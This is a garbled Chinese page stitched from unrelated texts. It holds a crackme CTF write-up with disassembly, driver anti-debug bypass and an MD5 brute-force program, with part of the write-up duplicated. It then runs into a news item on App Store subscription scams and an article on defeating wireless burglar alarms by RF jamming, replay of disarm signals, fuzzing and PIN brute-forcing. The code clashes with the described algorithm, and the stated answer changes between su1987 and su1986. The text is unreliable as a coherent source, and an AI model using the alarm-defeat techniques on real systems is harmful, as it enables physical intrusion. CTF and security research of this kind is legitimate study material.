f_GetStrMd5_401920((char)v4, (CString *)keymd5str);// 00943950  37 63 37 36 36 65 32 61 31 63 61 30 35 37 63 37  7c766e2a1ca057c7
                                                // 00943960  62 30 65 39 31 66 39 33 35 65 64 61 61 64 37 33  b0e91f935edaad73
                                                // 
                                                // 
                                                // 
    sub_415A78((LPCSTR *)&keymd5str_obj, (int)&v9, 2, 0xAu);// 截取2开始长度0xA的值
                                                // 00943900  37 36 36 65 32 61 31 63 61 30 00 38 39 30 33 38  766e2a1ca0.89038
                                                // 00943910  33 39 32 36 39 32 65 38 32 64 36 33 62 31 37 64  392692e82d63b17d
                                                //

最后KeyMd53与888aeda4ab比较成功提示Success^^

if ( _mbsicmp(keymd5str_obj, a888aeda4ab) ) // 888aeda4ab
    {
      CString::operator=((CString *)&v1->unk_6c, byte_431398);
      CString::operator=((CString *)&v1->key, byte_431398);
      f_UpdateData_41A4F7(0);
    }
    else
    {
      f_ShowSuccess_402030(v1);//成功提示
    }

总结算法

  1. KEY1 = rev(lwr(key))key长度6将输入转小写逆序
  2. 反调试成功时KEY1[0]+=1, 其他KEY1[i]+=i;
  3. KEY2 = DrvMd5(KEY1)驱动MD5计算
  4. KEY3 = Md5(KEY2), 应用层Md5计算
  5. KEY4 = KEY3[2:12]取第3位开始的10个字符
  6. KEY4 == ’888aeda4ab’

11. 求解

由于MD5hash无法逆运算只能爆破了刚开始忘了题目key只能是数字和字母结果我跑了全字符跑了1天多….没出来卡hi是怀疑自己

后来改成了数字字母终于得到答案 su1987

爆破代码如下

char Seed[/*68*/36] = {
	'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
	'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
	};
	
#define SEED_SIZE 36// 68

typedef struct _THREAD_PARAM
{
	int i1;
	int i2;
	int i3;
	int i2_1;
	int i2_2;
}TPP, *PTPP;

int g_ThreadCnt = 0;
int g_start = 0;
long g_count = 0;

void write_file(char* sz)
{
	HANDLE hFile = CreateFileA("1.log", GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile)
	{
		SetFilePointer(hFile, 0, 0, FILE_END);
		DWORD dw = 0;
		WriteFile(hFile, sz, strlen(sz), &dw, NULL);
		CloseHandle(hFile);
		hFile = NULL;
	}
}

bool crack1(PTPP p)
{
	int i1 = p->i1;
	int i2 = p->i2;

	char sss[20] = {0};

	for(int i3=0; i3<SEED_SIZE; i3++)
	{
		for(int i4=0; i4<SEED_SIZE; i4++)
		{
			for(int i5=0; i5<SEED_SIZE; i5++)
			{
				for(int i6=0; i6<SEED_SIZE; i6++)
				{
					char sza[7] = {Seed[i1], Seed[i2], Seed[i3], Seed[i4], Seed[i5], Seed[i5]};

					g_count ++;

					char sz[7] = {0};
					//反转
					sz[0] = Seed[i6]+1;
					sz[1] = Seed[i5]+1;
					sz[2] = Seed[i4]+2;
					sz[3] = Seed[i3]+3;
					sz[4] = Seed[i2]+4;
					sz[5] = Seed[i1]+5;

					FileMD5 fm;
					char* p = (char*)fm.md5(sz, 6);
					p = (char*)fm.md5(p, 32);
					strncpy(sss, p+2, 10);


					if(!stricmp(sss, "888aeda4ab"))
					{
						char info[1024] = {0};
						sprintf(info, "%c%c%c%c%c%c, => %s%s\n", 
							Seed[i1], Seed[i2], Seed[i3], Seed[i4], Seed[i5], Seed[i6], 
							sz,
							sss
							);
						write_file(info);

					

						int spell = GetTickCount() - g_start;
						printf("spell time : %d s", spell/1000);

						system("pause");

						return true;
					}							
				}
			}
			//system("cls");
			printf("count: %ld\n", g_count);
		}

	}

	return false;
}
void crack3(PTPP p)
{
	int i1 = p->i1;
	int i2_1 = p->i2_1;
	int i2_2 = p->i2_2;

	delete[] p;

	TPP p1 = {0};
	p1.i1 = i1;
	for(int i=i2_1; i<i2_2; i++)
	{
		p1.i2 = i;
		if(crack1(&p1))
		{
			return;
		}
	}
}
void crack2(int i1, int i2_1, int i2_2)
{
	PTPP p = new TPP;//{0};
	if(p == NULL)
	{
		printf("!!!!!!!!!!!!没neicun");
		return;
	}
	memset(p, 0, sizeof(TPP));
	p->i1 = i1;
	p->i2_1 = i2_1;
	p->i2_2 = i2_2;
	
	HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)crack3, (PVOID)p, 0, NULL);
	if(h == NULL)
	{
		printf("CreateTHREAD error [%d]\n", g_ThreadCnt);
	}
	else
	{
		g_Handles[g_ThreadCnt++] = h;
	}
}

void crack()
{
	for(int i1=0; i1<SEED_SIZE; i1++)
	{
		int i2 = 0;
#define STEP_SIZE 2
		for(i2 = 0; i2<SEED_SIZE-STEP_SIZE; i2+=STEP_SIZE)
		{
			crack2(i1, i2, i2+STEP_SIZE);
		}
		crack2(i1, i2, SEED_SIZE);
	}
}	

int _tmain(int argc, _TCHAR* argv[])
{
	int start = GetTickCount();
	g_start = GetTickCount();

	crack();

	WaitForMultipleObjects(g_ThreadCnt, g_Handles, TRUE, INFINITE);

	int spell = GetTickCount() - start;
	printf("spell time : %d s, thread-count: %d\n", spell, g_ThreadCnt);

	getchar();

	return 0;
}

最后结果

su1986, => 79;4yx888aeda4ab

由于算法开始有转小写所以其时答案中所有字母都可以是大小写选择答案不唯一。

博客原文https://anhkgg.github.io/kxctf2017_writeup5

题目入口http://ctf.pediy.com/game-fight-35.htm可下载相关文件

00. 先看驱动

驱动不大才20多个函数。

从入口开始分析。

1. 创建设备

.text:000107D5 68 58 13 01 00                                                  push    offset aDeviceVmxdrv ; "\\device\\vmxdrv"
.text:000107DA 8D 45 F4                                                        lea     eax, [ebp+DestinationString]
.text:000107DD 33 FF                                                           xor     edi, edi
.text:000107DF 50                                                              push    eax             ; DestinationString
.text:000107E0 89 7D FC                                                        mov     [ebp+DeviceObject], edi
.text:000107E3 FF D6                                                           call    esi ; RtlInitUnicodeString

用来与应用层通信

2. IRP_MJ_FUNCTION

主要有三个read/write/ioctl。

.text:00010870 C7 46 44 A8 05 01 00                                            mov     dword ptr [esi+44h], offset f_DrvRead_105A8
.text:00010877 C7 46 48 1C 06 01 00                                            mov     dword ptr [esi+48h], offset f_DrvWrite_1061C
.text:0001087E C7 46 70 1A 07 01 00                                            mov     dword ptr [esi+70h], offset f_DrvControl_1071A

先看f_DrvWrite_1061C通过irp获取到上层传入的数据然后通过104b6获取某个输出存入全局变量g_READCC根据read的分析可以知道长度为4的4字节数组。

.text:00010669 57                                                              push    edi             ; size_t
.text:0001066A FF 75 0C                                                        push    [ebp+Irp]       ; void *
.text:0001066D 53                                                              push    ebx             ; void *
.text:0001066E E8 11 0C 00 00                                                  call    memcpy
.text:00010673 83 C4 18                                                        add     esp, 18h
.text:00010676 83 3D D8 14 01 00 00                                            cmp     dword ptr is_clean_port, 0
.text:0001067D 74 15                                                           jz      short loc_10694
.text:0001067F 68 C8 14 01 00                                                  push    offset g_READCC ; int
.text:00010684 53                                                              push    ebx             ; void *
.text:00010685 E8 2C FE FF FF                                                  call    f_GetMd5_104B6
.text:0001068A C7 05 DC 14 01 00 01 00 00 00                                   mov     is_write, 1

进入104b6内部key是个16字节数组初始化0。然后将上面传下的数据拷贝到key中长度需要小于16。然后将key进行一下变换。 key[0] ++(反调试标志为1后面再说)其他key[i] += i

.text:000104F5 56                                                              push    esi             ; size_t //长度
.text:000104F6 51                                                              push    ecx             ; void * //上层输入
.text:000104F7 8D 45 EC                                                        lea     eax, [ebp+key]
.text:000104FA 50                                                              push    eax             ; void *
.text:000104FB E8 84 0D 00 00                                                  call    memcpy
...
text:00010505 39 05 D8 14 01 00                                               cmp     dword ptr is_clean_port, eax //判断标志是否为0不为0key[0] ++
.text:0001050B 74 03                                                           jz      short loc_10510
.text:0001050D FE 45 EC                                                        inc     [ebp+key]
.text:00010510
.text:00010510                                                 loc_10510:                              ; CODE XREF: f_GetMd5_104B6+55j
.text:00010510 3B F0                                                           cmp     esi, eax
.text:00010512 7E 09                                                           jle     short loc_1051D
.text:00010514
.text:00010514                                                 loc_10514:                              ; CODE XREF: f_GetMd5_104B6+65j
.text:00010514 00 44 05 EC                                                     add     [ebp+eax+key], al //key[i] += i
.text:00010518 40                                                              inc     eax
.text:00010519 3B C6                                                           cmp     eax, esi
.text:0001051B 7C F7                                                           jl      short loc_10514

接着通过下面三个函数对key进行计算输出结果

f_Md5_Init_108B2((MD5OBJ *)&v5);
f_Md5_j_11124((MD5OBJ *)&v5, key, strlen(key));
f_Md5_hexdigest((int)&v5, md5);

进入108b2一看就猜测是md5计算f_Md5_hexdigest将计算结果(32字节字符)保存到md 5字段中输出设置计算标志。也就是大致确认write是计算md5然后保存到g_READCC

MD5OBJ *__stdcall f_Md5_Init_108B2(MD5OBJ *a1)
{
  MD5OBJ *result; // [email protected]1

  result = a1;
  a1->len8 = 0;
  a1->unk_4 = 0;
  a1->s1 = 0x67452301;
  a1->s2 = 0xEFCDAB89;
  a1->s3 = 0x98BADCFE;
  a1->s4 = 0x10325476;
  return result;
}

接着看f_DrvRead_105A8看刚才的计算标志是否为0为0就初始化g_READCC一段值不知道作者意图迷惑cracker如果计算标志是1就直接返回计算的结果然后该值返回到用户空间。也就是如果通过write计算了md5这里就是获取md5计算结果。

.text:000105AD 
 if ( !is_write )
  {
    i = 3;
    do
    {
      g_READCC[i] = 3 * i - 'd';
      ++i;
    }
    while ( i < 16 );
    g_READCC[0] = 0xCBu;
    g_READCC[1] = 0xAAu;
    g_READCC[2] = 0xDEu;
    g_READCC[3] = 0xB0u;
  }
  //返回数据
   *(_DWORD *)&MasterIrp->Type = *(_DWORD *)g_READCC;
  v4 = (int)&MasterIrp->MdlAddress;
  *(_DWORD *)v4 = *(_DWORD *)&g_READCC[4];
  v4 += 4;
  *(_DWORD *)v4 = *(_DWORD *)&g_READCC[8];
  *(_DWORD *)(v4 + 4) = *(_DWORD *)&g_READCC[12];

最后看f_DrvControl_1071A支持多个命令号但只有222004h有用。设置反调试标志为1然后进入10486看看

.text:00010734 2D 04 20 22 00                                                  sub     eax, 222004h
.text:00010739 8B 4E 0C                                                        mov     ecx, [esi+0Ch]
.text:0001073C 74 2C                                                           jz      short loc_1076A
...
.text:0001076A                                                 loc_1076A:                              ; CODE XREF: f_DrvControl_1071A+22j
.text:0001076A C7 05 D8 14 01 00 01 00 00 00                                   mov     dword ptr is_clean_port, 1
.text:00010774 FF 15 80 13 01 00                                               call    ds:IoGetCurrentProcess
.text:0001077A A3 E0 14 01 00                                                  mov     eproc, eax
.text:0001077F E8 02 FD FF FF                                                  call    f_ClearDebugPort_10486

枚举进程找到当前进程的eprocess(其实没必要枚举把)置eprocess->DebugPort = NULL让应用层调试器失效达到反跳试效果。

result = IoGetCurrentProcess();
  v1 = result;
  while ( result != (PEPROCESS)eproc )
  {
    result = (PEPROCESS)(*((_DWORD *)result + 0x22) - 0x88);// eproc->ActiveProcessLinks.Flink
    if ( result == v1 )
      return result;
  }
  *((_DWORD *)result + 0x2F) = 0;               // eproc->DebugPort = 0

这里猜想一下如果破解者通过应用层patch不发送222004h命令来解除反跳试的话那么这里的反跳试标志就是0然后在write中计算md5时对key[0]就不会做++操作那么上层就会获取到一个错误的值从而影响破解。

3. k掉驱动反调试

首先想到的是将驱动文件patch也就是DebugPort置零的指令nop掉

.text:000104A9 83 A0 BC 00 00 00 00                                            and     dword ptr [eax+0BCh], 0

通过reshacker将驱动资源导出来然后hex编辑工具修改104A9的内容(文件内存对齐一样)为7个NOP然后再将patch驱动文件导入到exe中。

会提示驱动加载失败可能有校验不再细跟。

没办法为了让od能够调试我写了个简单驱动在本驱动加载时将104A进行patch通过反跳试。

01. 再看CrackMe

既然知道有驱动了先找找释放和加载驱动的代码通过 FindResourceA和CreateService即可定位不再详述注意到的是驱动加载成功会设置一个标志用于后面验证的判断

v5 = f_CreaetSrv_401AA0(ServiceName, &Buffer);// vmxdrv
  v1->is_drv_run = v5;

然后再找和驱动通信的代码通过DeviceIoControl找到调用222004命令好的代码。通过创建一个线程循环调用该接口来清零DebugPort

while ( 1 )
  {
    v0 = CreateFileA(FileName, 0xC0000000, 0, 0, 3u, 0x80u, 0);
    if ( v0 == (HANDLE)-1 )
      break;
    DeviceIoControl(v0, 0x222004u, 0, 0, &OutBuffer, 0x100u, &BytesReturned, 0);
    CloseHandle(v0);
    Sleep(0xBB8u);
  }

按理说这里可以patch掉来去掉反跳试但就会出现我前面分析提到的问题。

通过WriteFile找到调用read/write的位置也就是计算md5和获取md5的位置。

.text:00401D50 ; HANDLE __thiscall f_CalcKeyMd5_401D50(void *this, char *key, size_t len)
...
.text:00401E4E                 push    ebx             ; lpOverlapped
.text:00401E4F                 push    eax             ; lpNumberOfBytesWritten
.text:00401E50                 lea     ecx, [esp+344h+Buffer] //用户输入的key相关数据
.text:00401E54                 push    esi             ; nNumberOfBytesToWrite
.text:00401E55                 push    ecx             ; lpBuffer
.text:00401E56                 push    edi             ; hFile
.text:00401E57                 call    ds:WriteFile //计算md5
.text:00401E5D                 test    eax, eax
.text:00401E5F                 jz      short loc_401ED4
.text:00401E61                 lea     edx, [esp+33Ch+NumberOfBytesRead]
.text:00401E65                 push    ebx             ; lpOverlapped
.text:00401E66                 push    edx             ; lpNumberOfBytesRead
.text:00401E67                 lea     eax, [esp+344h+keymd5]
.text:00401E6E                 push    10h             ; nNumberOfBytesToRead
.text:00401E70                 push    eax             ; lpBuffer
.text:00401E71                 push    edi             ; hFile
.text:00401E72                 call    ds:ReadFile //读取md5

f_CalcKeyMd5_401D50回溯一层就是输入key回车的响应函数。 这里先通过UpdateData(1)获取输入数据然后拷贝到局部变量

f_UpdateData_41A4F7(1);
  f_CString_copy_417D43((CString *)&key, (LPCSTR *)&v1->key);//用户输入的

然后输入进行小写和反转变换

f_CString_lwr_4182FA((CString *)&key); //小写
 f_Cstring_rev_41830C((CString *)&key);        // 反转

判断输入长度是否为6不是退出清除输入并通过IsDebuggerPresent检查是否在调试OD直接过是调试也退出清理出输入。

if ( *(_DWORD *)(key - 8) != 6 || IsDebuggerPresent() )
 {
   CString::operator=((CString *)&v1->unk_6c, byte_431398);
   CString::operator=((CString *)&v1->key, byte_431398);
   f_UpdateData_41A4F7(0);
 }

满足长度要求再看驱动是否加载再调用f_CalcKeyMd5_401D50计算md5. 也就是调用驱动获取md5记为KeyMd51.

//.text:004017DE
 if ( v1->is_drv_run )
    {
      keymd5str = *(_DWORD *)(key - 8);
      v3 = sub_418263(&key, 0);
      f_CalcKeyMd5_401D50(v1, (char *)v3, keymd5str);
    }

接着下面两个函数先调用f_GetStrMd5_401920应用层的Md5通过调试可以很快确认内部也有md5特征计算KeyMd51的Md5记为KeyMd52然后调用sub_415A78截取KeyMd52从第3为开始的10字符记为KeyMd53。

f_GetStrMd5_401920((char)v4, (CString *)keymd5str);// 00943950  37 63 37 36 36 65 32 61 31 63 61 30 35 37 63 37  7c766e2a1ca057c7
                                                // 00943960  62 30 65 39 31 66 39 33 35 65 64 61 61 64 37 33  b0e91f935edaad73
                                                // 
                                                // 
                                                // 
    sub_415A78((LPCSTR *)&keymd5str_obj, (int)&v9, 2, 0xAu);// 截取2开始长度0xA的值
                                                // 00943900  37 36 36 65 32 61 31 63 61 30 00 38 39 30 33 38  766e2a1ca0.89038
                                                // 00943910  33 39 32 36 39 32 65 38 32 64 36 33 62 31 37 64  392692e82d63b17d
                                                //

最后KeyMd53与888aeda4ab比较成功提示Success^^

if ( _mbsicmp(keymd5str_obj, a888aeda4ab) ) // 888aeda4ab
    {
      CString::operator=((CString *)&v1->unk_6c, byte_431398);
      CString::operator=((CString *)&v1->key, byte_431398);
      f_UpdateData_41A4F7(0);
    }
    else
    {
      f_ShowSuccess_402030(v1);//成功提示
    }

总结算法

  1. KEY1 = rev(lwr(key))key长度6将输入转小写逆序
  2. 反调试成功时KEY1[0]+=1, 其他KEY1[i]+=i;
  3. KEY2 = DrvMd5(KEY1)驱动MD5计算
  4. KEY3 = Md5(KEY2), 应用层Md5计算
  5. KEY4 = KEY3[2:12]取第3位开始的10个字符
  6. KEY4 == ’888aeda4ab’

11. 求解

由于MD5hash无法逆运算只能爆破了刚开始忘了题目key只能是数字和字母结果我跑了全字符跑了1天多….没出来卡hi是怀疑自己

后来改成了数字字母终于得到答案 su1987

爆破代码如下

char Seed[/*68*/36] = {
	'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
	'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
	};
	
#define SEED_SIZE 36// 68

typedef struct _THREAD_PARAM
{
	int i1;
	int i2;
	int i3;
	int i2_1;
	int i2_2;
}TPP, *PTPP;

int g_ThreadCnt = 0;
int g_start = 0;
long g_count = 0;

void write_file(char* sz)
{
	HANDLE hFile = CreateFileA("1.log", GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile)
	{
		SetFilePointer(hFile, 0, 0, FILE_END);
		DWORD dw = 0;
		WriteFile(hFile, sz, strlen(sz), &dw, NULL);
		CloseHandle(hFile);
		hFile = NULL;
	}
}

bool crack1(PTPP p)
{
	int i1 = p->i1;
	int i2 = p->i2;

	char sss[20] = {0};

	for(int i3=0; i3<SEED_SIZE; i3++)
	{
		for(int i4=0; i4<SEED_SIZE; i4++)
		{
			for(int i5=0; i5<SEED_SIZE; i5++)
			{
				for(int i6=0; i6<SEED_SIZE; i6++)
				{
					char sza[7] = {Seed[i1], Seed[i2], Seed[i3], Seed[i4], Seed[i5], Seed[i5]};

					g_count ++;

					char sz[7] = {0};
					//反转
					sz[0] = Seed[i6]+1;
					sz[1] = Seed[i5]+1;
					sz[2] = Seed[i4]+2;
					sz[3] = Seed[i3]+3;
					sz[4] = Seed[i2]+4;
					sz[5] = Seed[i1]+5;

					FileMD5 fm;
					char* p = (char*)fm.md5(sz, 6);
					p = (char*)fm.md5(p, 32);
					strncpy(sss, p+2, 10);


					if(!stricmp(sss, "888aeda4ab"))
					{
						char info[1024] = {0};
						sprintf(info, "%c%c%c%c%c%c, => %s%s\n", 
							Seed[i1], Seed[i2], Seed[i3], Seed[i4], Seed[i5], Seed[i6], 
							sz,
							sss
							);
						write_file(info);

					

						int spell = GetTickCount() - g_start;
						printf("spell time : %d s", spell/1000);

						system("pause");

						return true;
					}							
				}
			}
			//system("cls");
			printf("count: %ld\n", g_count);
		}

	}

	return false;
}
void crack3(PTPP p)
{
	int i1 = p->i1;
	int i2_1 = p->i2_1;
	int i2_2 = p->i2_2;

	delete[] p;

	TPP p1 = {0};
	p1.i1 = i1;
	for(int i=i2_1; i<i2_2; i++)
	{
		p1.i2 = i;
		if(crack1(&p1))
		{
			return;
		}
	}
}
void crack2(int i1, int i2_1, int i2_2)
{
	PTPP p = new TPP;//{0};
	if(p == NULL)
	{
		printf("!!!!!!!!!!!!没neicun");
		return;
	}
	memset(p, 0, sizeof(TPP));
	p->i1 = i1;
	p->i2_1 = i2_1;
	p->i2_2 = i2_2;
	
	HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)crack3, (PVOID)p, 0, NULL);
	if(h == NULL)
	{
		printf("CreateTHREAD error [%d]\n", g_ThreadCnt);
	}
	else
	{
		g_Handles[g_ThreadCnt++] = h;
	}
}

void crack()
{
	for(int i1=0; i1<SEED_SIZE; i1++)
	{
		int i2 = 0;
#define STEP_SIZE 2
		for(i2 = 0; i2<SEED_SIZE-STEP_SIZE; i2+=STEP_SIZE)
		{
			crack2(i1, i2, i2+STEP_SIZE);
		}
		crack2(i1, i2, SEED_SIZE);
	}
}	

int _tmain(int argc, _TCHAR* argv[])
{
	int start = GetTickCount();
	g_start = GetTickCount();

	crack();

	WaitForMultipleObjects(g_ThreadCnt, g_Handles, TRUE, INFINITE);

	int spell = GetTickCount() - start;
	printf("spell time : %d s, thread-count: %d\n", spell, g_ThreadCnt);

	getchar();

	return 0;
}

最后结果

su1986, => 79;4yx888aeda4ab

由于算法开始有转小写所以其时答案中所有字母都可以是大小写选择答案不唯一。

博客原文https://anhkgg.github.io/kxctf2017_writeup5

APP市场迅猛发展,开发商获利颇丰

在今年的苹果全球开发者大会上,苹果公司宣布,由于世界各地的人们都喜欢应用程序,用户正以创纪录的速度下载,其公司已经支付了开发商700多亿美元,而去年仅支付了210亿美元。

苹果表示,游戏和娱乐类别中的应用程序带来的收入最多,主要来自流行的免费增值游戏,包括内部程序购买以及内容订阅。同时,照片及视频类别程序在2016年发展最为迅猛,增幅接近90%。App Store主动付费订阅量同比增长58%。生活、健康和健身类程序下载量强势上涨70%。

但是,这里我们有一个疑问,是不是上面提到的所有的钱都流进了合法应用程序开发人员的口袋呢?

实际情况可能并非如此!作为黑客兼应用程序开发人员,Johnny Lin于上周对苹果的App Store进行了分析,发现应用商店中大部分的热门应用程序都是完全虚假的,并正在通过“应用程序购买和订阅机制”为开发商月赚数十万美元。

诈骗者使用“搜索广告”平台来提升应用程序排名

在去年6月份的全球开发者大会(WWDC)上,苹果公司正式公布了在App Store内尝试“搜索广告”模式的战略方针。而狡猾的开发人员正是利用“搜索广告”和一些搜索引擎优化(SEO)来推广其App Store中的应用,提升排名。

Johnny Lin在他发表的一篇名为《如何利用苹果应用商店月入八万美金》的帖子中写道,

诈骗者们正在利用广告没有过滤和审批流程这一事实来实施非法活动。这些广告看起来和实际结果几乎没有任何区别,有些广告甚至占据了整个搜索结果的第一页。而在进一步分析后,我发现,很不幸的是,这些并非孤立事件,它们在应用商店的畅销应用(Top Grossing)列表中相当常见。而且这种情况不仅仅局限于与安全相关的关键字,看起来诈骗者正在扩展其他关键字。

App Store搜索广告的具体内容

苹果高级副总裁Phil Schiller表示,

每周App Store上有几亿搜索,65%的应用下载都由搜索带动。对用户和开发者来说,搜索是很宝贵的工具。对开发者来说,这种推广效率很高。

AppStore推出的搜索广告,可以从展示形式、条数、计费方式以及展示人群这四方面进一步了解。

1. 展示形式

640.jpeg

搜索广告将作为第一个显示结果出现在搜索结果页中。苹果希望,通过它帮助开发者更有效地推广自己的App。Phil Schiller说:用户不会对搜索引擎或社交媒体中的广告陌生。与搜索结果关联度很高的才会出现在广告位置上,搜索结果只是App,不能通过搜索得到别的东西。

2. 条数 

苹果还是相对克制,搜索结果中的广告有且仅有一条,并且会用蓝色背景和图标,清晰标识出这是一个广告。

3. 计费方式 

定价系统采用CPC模式(Cost Per Click网络广告的收费计算形式),只有用户点击广告才会计费。对营销人而言,第二价格竞价系统,是从其iAd引荐过来的技术,开发者只需要在用户点击广告时付费。苹果认为,这是一套对开发者十分公平的系统。对一些小型独立开发者来说,这套搜索系统也会很高效。

4. 展示人群 

苹果明确表示,13岁以下的青少年不会看到搜索广告。

注意!不要掉入虚假苹果“应用内订阅/购买”的陷阱 

Johnny Lin发现,在应用商店“畅销应用”中有一款名为“Mobile protection :Clean & Security VPN”的应用程序,用户只需将其拇指放在Touch ID上,就可以完成每周需要支付99.99美元订阅费的垃圾服务。

1497407446152163.png

根据Lin的说法,从移动应用数据分析公司Sensor Tower得到的数据显示,单单这款应用程序每个月就可以为开发商带来大约80000美元的盈利。

带有拼写和语法错误以及虚假评论的“Mobile protection :Clean & Security VPN”应用程序声称自己是一款病毒扫描器,并通过“提供免费使用服务”来吸引用户安装该程序,进而诱导用户进行应用内支付。

但是一旦受害者点击免费试用,Touch ID屏幕上就会显示:是否使用Touch ID来获取一个7天的免费病毒/恶意软件扫描服务?从2017年6月9日起,您将需要支付99.99美元/7天的订阅费用。

1497407479570228.png

通常,登录Touch ID屏幕的用户都会无意中用手指轻触Touch ID,如此一来,诈骗者每月仅从一个用户身上就能赚取将近400美元。

根据Lin的统计发现,狡猾的应用程序开发人员已经至少骗取了200个人完成虚假的苹果“应用程序内订阅/购买”服务,按照每人每月需支出近 400美元计算,他们可以轻松月赚80000美元,这就意味着,每年有96万美元的收入。

此消息出来之后,苹果公司已经将Mobile Protection从App Store上移除了,再搜索这款 App也只是显示该应用已从美国区 App Store下架。不过这只是中治标不治本的方式,其App Store中仍然存在大量使用“应用内订购”和误导性描述的虚假应用,来诱骗用户花费大量资金购买垃圾应用服务。

如何取消应用程序订阅? 

如果你也不幸地下载了任何有问题的虚假应用程序并需要支付昂贵的订阅费用,可以通过下述步骤取消订阅服务:

打开设置APP并转到iTunes & App Store→Apple ID → 查看 Apple ID;
输入您的Apple ID密码,或根据提示指纹解锁Touch ID;
点击订阅,然后点击你要取消的订阅服务,再点击确认;

完成上述步骤后,一旦当前的订阅期限结束,你将不必继续支付任何费用。

alarmo.png

30年前,报警器都是硬连线的,具有分立元件,并由钥匙开关操作。20年前,他们已经演变为使用微控制器,LCD和键盘,但仍然是硬连线。10年前,无线报警器开始变得普及,并增加了许多之前没有的功能。

而如今,我们的报警器却遍布了我们的生活,从互联网连接,移动应用程序,到家庭自动化和视频验证都能为我们提供警报服务 – 其中检测器早已被集成在了我们家中的摄像头内。

可以看到,警报系统在不断的更新和完善,但制造商,安装人员,操作人员和用户对他们的了解程度却远远不够。

本地攻击

无线报警器为我们开启了全新的攻击面。有线系统一般都会使用开/关电路,所有接线都处在保护区内。而相比之下,无线系统则打破了边界,允许攻击者在外围恶意篡改报警信号。

有许多技术可以来帮助我们,完成对无线报警器的攻击。

某些符合EN 50131-1标准的报警器会有等级的划分。从1级(低安全级别)到4级(高安全级别)。而在英国,无线警报器的最高级别是2级。

干扰

不管市场是如何说的,大量的无线警报器都可以被干扰,以阻止报警信号的传达并且允许攻击者的访问。

让我们看看无线报警器的标准 - EN 50131-5-3,我们着重来关注2级别,因为它是英国目前无线警报器的最高等级,这个等级适用于家庭住宅并且有较低的商业风险。

这就表述了干扰(或者故意干扰)的两个重要特点:

  • “对于周期性通信故障检测的要求”,比如说,多久控制面板不能接受到检测器的信号。结果为120分钟,也就是两个小时没有信号传达。
  • “对于干涉检测的要求”比如说干扰。这样每60秒就有30秒被干扰,这就给我们很大的空间来发挥。

alarmo2.png

(摘自:http://e-collection.library.ethz.ch/eserv/eth:5031/eth-5031-01.pdf

以下有三种我们可以执行的干扰攻击:

  • 主动干扰 – 我们一直在发送信号。然而没有信号可以传达,但是这很容易就检测出来,并且将会导致大范围内其他相同频率设备的毁坏。
  • 反应分组干扰 – 我们等待着直到检测到一个信号,然后开始信号干扰。状态和报警信息都受到了干扰,不太容易检测并且有报警的风险。
  • 反应位干扰 – 监听发送的信号,通过足够长时间的干扰来破坏信号。这样的好处是我们可以监听数据包,并只干扰报警信息,状态信息则不受影响。

这里我们使用 RFcat - 一个简单的RF USB加密狗 – 在434MHz上发送连续的信号。根本没有报警信号通过。干扰检测不会触发报警(不知道为什么会这样)。

alarmo3-1-1.png

alarmo4.png

RFcat约30英镑。其实我们可以做得更廉价些 - 一个简单的OOK发射机,使用555定时器调制来完成主动干扰的工作。

如果我们想做反应分组或位干扰,那么我们可以使用CC1110板,并使用自定义的代码进行编程。另外,我发现Ciseco ARF的价格相对合理只需£29,输出功率为500mW且效果非常好。

重放攻击

EN 50131-5-3标准中的级别2,并没有对重放攻击的要求。这意味着我们可以接收一个信号 – 例如来自一个keyfob的撤防信号 – 然后进行重放。

软件定义无线电(SDR)非常的简单。在这里我们使用价值$300的 HackRF。我们选择频率(434.8Mhz),然后开始捕获,并将撤防信号捕获到文件。我们可以在Audacity或其他类似的软件下,查看我们捕获的文件。接着我们只需将捕获的信息送回HackRF,即可为我们撤防警报。

alarmo5.png

其他攻击

Fuzz是渗透测试中常用的手段。例如,通过对一款软件的fuzz我们可以观察其对不正确输入格式的处理情况,从而判断其潜在的安全问题。这里,我们也可以用RF信号做到这一点。

当一个报警器接收到的数据包大于预期时,则会完全挂起。键盘无响应;探测器将什么都不做。这时你需要通过拉电源开关(包括备用电池),才能使其再次工作。我们不知道为什么微控制器的看门狗定时器,不用于关键的安全设备。

设备会在键盘和面板之间发送PIN码。所以我们可以进行嗅探,解码,然后使用它。

那么,这里我们可以尝试爆破出PIN吗?

如果你的PIN错误超过限制的次数,那么几乎每个报警面板都会锁定你。所以,让我们试试RF端。

一个简单的Python脚本用于驱动RFcat,并顺序发送每个PIN。

大概需要1小时20分钟才能枚举完所有这些PIN。我们可以使用一些常用的PIN码(如0000,1111,1234,1900-2016等),这样爆破成功的概率将会大大增加。

alarmo6.png

网络攻击

拒绝服务攻击

如今我们仍有许多连接互联网的系统,这些系统依靠云服务器来提供功能。这为攻击提供了一个新的中心点;报警接收中心(ARC)或云服务器。攻击者一旦攻破其中的一个点,就可能导致数以上千的警报器被触发,这将消耗大量的资源和分散人们的注意力,后果可想而知。

研究员Wilco Baan Hoffmann在2013年谈到了这一点,他分析了SIA-HS报警信号协议的安全性。演示文稿非常值得一读,有兴趣的可以点击查阅。

恶作剧式攻击

攻击报警器的人也可能单纯只是为了恶作剧或是炫技。从LED交通灯,广告牌,加热控制器,PA系统到婴儿监视器。对于他们而言,任何连接互联网的设备系统都有可能成为其攻击的对象。

alarmo7.png

更广泛网络带来的威胁

随着网络设备的不断普及,像DVR,IP摄像头,报警器等这些设备早已进入了千家万户。但安全问题也随之而来,许多人竟随意的就将这些设备通过端口转发连接到了互联网。

而这对于攻击者而言,这些设备就是台微型的计算机,和渗透内部网络的理想‘跳板’。因为这些设备,通常并不具备病毒查杀功能,也不易被用户发现,对于大流量的进出用户也不会有任何怀疑。

例子

RSI Videofied加密破解

http://www.kb.cert.org/vuls/id/792004

